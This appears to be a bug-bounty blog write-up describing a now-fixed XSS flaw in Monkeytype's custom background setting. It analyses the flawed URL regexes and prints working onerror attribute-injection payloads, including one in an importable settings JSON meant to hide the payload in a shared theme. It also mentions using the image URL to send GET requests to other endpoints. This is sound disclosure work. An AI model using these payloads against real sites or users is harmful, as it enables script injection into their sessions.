Monkeytype XSS
How I got the white hat badge on monkeytype.com by finding a Cross Site Scripting vulnerability!
Introduction
Monkeytype is a website to test your typing speed. This concept isn’t new but what sets this apart from its competitors is its extremely customizable UI. While I see this as the site’s greatest strength, it also made it vulnerable.
A month prior to this discovery, monkeytype introduced badges which would present an achievement to other users. One of these badges, the white hat badge, was for reporting a critical vulnerability. I really enjoy using this platform so the day I found this out, I started hunting and found something interesting…
TLDR
Improper sanitization of user input in the custom background URL setting leads to XSS through the onerror
attribute.
What is an XSS?
XSS also known as Cross Site Scripting is essentially JavaScript Injection. Many actions a user can execute on a webpage can be simulated with JavaScript. Making requests, changing account information, editing site appearance, etc. JavaScript is usually executed in the browser from trusted sources (the website you’re visiting), but this type of attack allows an attacker to run malicious scripts not originally from the website. A common proof of concept is by running the alert()
function, though there are many possibilities once a vulnerability is discovered.
Discovery
First I checked how user input was handled and sanitized. The field with the most potential sets the custom background. This is done with a URL provided by the user and placed directly into the HTML source
JQuery’s html function has the potential to be a security risk if used with unsanitized user input. At the time of investigation, validation was achieved with the following code
If the user’s string passes these regular expression conditionals (regex), then our input will be placed into the page.
Regex Breakdown
Let’s work backwards from here. The second regex is a patch that was introduced on 7/22/21
1
!/[<>]/
Its intent is to filter out angled brackets to prevent the user from inputting arbitrary HTML tags such as <script>
1
2
3
4
5
6
<img src="user_input">
var user_input = example
<img src="example">
var user_input = "> <script>alert(1);</script>
<img src=""> <script>alert(1);</script>"
This stops some paths to XSS, but not all of them. Let’s dig deeper into the first regex which was introduced on 4/4/21
1
/(https|http):\/\/(www\.|).+\..+\/.+(\.png|\.gif|\.jpeg|\.jpg)/gi
We can break this up into three smaller expressions
1
(https|http):\/\/(www\.|)
This requires the user input to begin with http://
or https://
followed by an optional www.
JavaScript is now unable to run in the source like this
1
<img src="javascript:alert(1)">
The next regex section introduces some issues
1
.+\..+\/.+
The combination .+
signifies any combination of characters with a length of at least 1. For example
1
2
3
4
5
g
google
spaces are valid too
127
ewaoijfA()SDFJQWE)R"OKAS{}L:":
The backslash character \
followed be a special regex character will match a literal version of the special character in the string
\.
refers to a single literal dot .
and \/
refers to a single forward slash character /
When put together, this section is intended to validate the hostname (google.com
) or an IP address (127.0.0.1
) along with a path to the resource (/images/sokka.png
).
1
2
3
4
5
6
7
.+ \..+\/.+
google.com/images/sokka.png
.+ = google
\. = .
.+ = com
\/ = /
.+ = images/sokka.png
So what’s wrong with this?
The dot regex character will allow us to use characters that aren’t normally found in a host name. By using double quotes and spaces we escape the source attribute
1
2
3
4
5
6
7
8
9
<img src="user_input">
var user_input = example
<img src="example">
var user_input = " everything here is controllable
<img src="" everything here is controllable">
var user_input = " alt="user added alt tag
<img src="" alt="user added alt tag">
With the ability to add arbitrary attributes, we are able to inject our own code. By using onerror
, we can make arbitrary JavaScript execute when the image fails to load. Since we also control the image link, we can link an invalid file and execute code every time.
1
2
var user_input = http://not.real.com/" onerror="alert('XSS')
<img src="http://not.real.com/" onerror="alert('XSS')">
Now for the final part of the regular expression
1
(\.png|\.gif|\.jpeg|\.jpg)/gi
This requires the user input to end with one of these four strings
1
2
3
4
.png
.gif
.jpeg
.jpg
The intention is to have the URL point to a particular file type.
http://google.com/sokka.gif
However, this doesn’t guarantee a file with this file type. By setting HTTP parameters in a query string we can point the link to an arbitrary file or send a GET request to an arbitrary endpoint
This will send an HTTP GET request to bank.com/transfer.php with the values amount
set to 100
and tmp
set to .jpg
Exploit
So by combining all of these elements we can craft a malicious link which will be placed directly into the HTML source
https://www.evil.com/"onerror="alert('window.origin: ' + window.origin + '\nDasian#1967');"?.png
We place this into the custom background section and…
XSS has been discovered!!!
The settings for this website are saved and the XSS payload will run every time the site is visited or refreshed. It may seem impractical for a user to input such a malicious website on purpose, but there is another way to update settings which makes the malicious activity sneakier
Rather than inputting the malicious link directly, there is an option to paste a full theme from JSON. This makes it easier to share themes between friends, but these files can be large. It’s now much harder for a user to notice anything suspicious
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{"theme":"matrix","themeLight":"serika","themeDark":"serika_dark",
"autoSwitchTheme":true,"customTheme":false,
"customThemeColors":["#323437","#e2b714","#e2b714","#646669",
"#000000","#d1d0c5","#ca4754","#7e2a33","#ca4754","#7e2a33"],
"favThemes":["matrix"],"showKeyTips":true,"showLiveWpm":false,
"showTimerProgress":true,"smoothCaret":true,"quickRestart":"off",
"punctuation":false,"numbers":false,"words":100,"time":60,"mode":"time",
"quoteLength":[0],"language":"english","fontSize":"15","freedomMode":false,
"difficulty":"normal","blindMode":false,"quickEnd":false,
"caretStyle":"default","paceCaretStyle":"default","flipTestColors":false,
"layout":"default","funbox":"none","confidenceMode":"off",
"indicateTypos":"off","timerStyle":"mini","colorfulMode":false,
"randomTheme":"fav","timerColor":"main","timerOpacity":"1",
"stopOnError":"off","showAllLines":true,"keymapMode":"off",
"keymapStyle":"staggered","keymapLegendStyle":"lowercase",
"keymapLayout":"overrideSync","fontFamily":"Roboto_Mono",
"smoothLineScroll":true,"alwaysShowDecimalPlaces":false,
"alwaysShowWordsHistory":false,"singleListCommandLine":"manual",
"capsLockWarning":true,"playSoundOnError":false,"playSoundOnClick":"6",
"soundVolume":"0.5","startGraphsAtZero":true,"showOutOfFocusWarning":true,
"paceCaret":"off","paceCaretCustomSpeed":100,"repeatedPace":true,
"pageWidth":"100","chartAccuracy":true,"chartStyle":"line",
"minWpm":"off","minWpmCustomSpeed":100,"highlightMode":"letter",
"alwaysShowCPM":false,"ads":"off","hideExtraLetters":false,
"strictSpace":false,"minAcc":"off","minAccCustom":90,
"showLiveAcc":false,"showLiveBurst":false,"monkey":false,
"repeatQuotes":"off","oppositeShiftMode":"off",
"customBackground":"https://www.tmp.monkeytype.com/\"onerror=\"alert('imported settings\\nwindow.origin:'+window.origin+'\\nDasian#1967');\"?.png",
"customBackgroundSize":"contain","customBackgroundFilter":[0,1,1,1,1],
"customLayoutfluid":"qwerty#dvorak#colemak","monkeyPowerLevel":"off",
"minBurst":"off","minBurstCustomSpeed":100,"burstHeatmap":true,
"britishEnglish":false,"lazyMode":false,"showAverage":"off"}
Importing these settings would also result in an XSS
Result
Upon finding and reporting this vulnerability, a fix was quickly implemented. By adding a filter for spaces and double quotes, this exploit no longer works.
I also received the white hat badge which was the goal all along!
Thanks for reading!
Timeline
Settings code is in frontend/src/ts/config.ts
First regex appearance - 4/4/21
Added script tag filtering - 7/22/21
JQuery html input - 2/19/22
XSS reported - 8/1/22
Filtering space and double quote from input (fix) - 8/2/22
Version 1.15.3 released - 8/5/22
Versions <=1.15.2 that have this setting are vulnerable